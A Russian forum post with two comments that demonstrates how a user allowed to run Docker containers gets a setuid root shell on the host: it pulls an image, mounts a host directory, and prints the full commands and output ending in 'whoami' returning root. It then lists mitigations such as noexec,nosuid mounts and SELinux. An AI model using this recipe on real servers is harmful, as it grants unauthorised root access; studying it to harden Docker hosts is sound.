Получаем рутовый шелл через докер

На самом деле это не дыра в безопасности. Т.е. это заложено в архитектуре.


И так. Например, ты разработчик, которому админ(чтобы ты отстал), разрешил на каком-то серваке пускать контейнеры docker. Т.е. ты можешь делать docker run/pull/push без sudo. Ок.


Пулим образ:

$ docker pull monsantoco/min-jessie

Using default tag: latest

latest: Pulling from monsantoco/min-jessie

a3ed95caeb02: Pull complete

d9f5175a7629: Pull complete

Digest: sha256:d8b651e894b8b66def8aaa268b5e8ec2c4f9480e3f2b7b2ec664203e610d6d96

Status: Downloaded newer image for monsantoco/min-jessie:latest

И пускаем:

$ mkdir /var/tmp/sh

$ docker run -d -v /var/tmp/sh:/stuff -t monsantoco/min-jessie /bin/sh -c 'cp /bin/sh /stuff && chown root:root /stuff/sh && chmod 777 /stuff/sh && chmod ao+s /stuff/sh && while true; do echo OK; sleep 5; done'

$ ls /var/tmp/sh/ -l

итого 124

-rwsrwsrwx 1 root root 125400 июн 7 11:02 sh

$ /var/tmp/sh/sh

# whoami

root

#

Вот так мы получили суидный шелл за пределами контейнера.


Как решить?

* Запереть юзера в хомяке с noexec,nosuid

* Все tmp каталоги монтировать в память и с noexec,nosuid

* Настроить selinux


ЗЫ:

$ docker --version

Docker version 1.10.3, build 20f81dd

$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04 LTS

Release: 16.04

Codename: xenial

Вы смотрите срез комментариев. Показать все
Автор поста оценил этот комментарий

Хм, не давать пользователю запускать докер, по сути мы даем пользователю выполнить команду на уровне сервиса.

раскрыть ветку (1)
Автор поста оценил этот комментарий
Именно так. По-этому в начале и упоминается ленивый админ.
Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку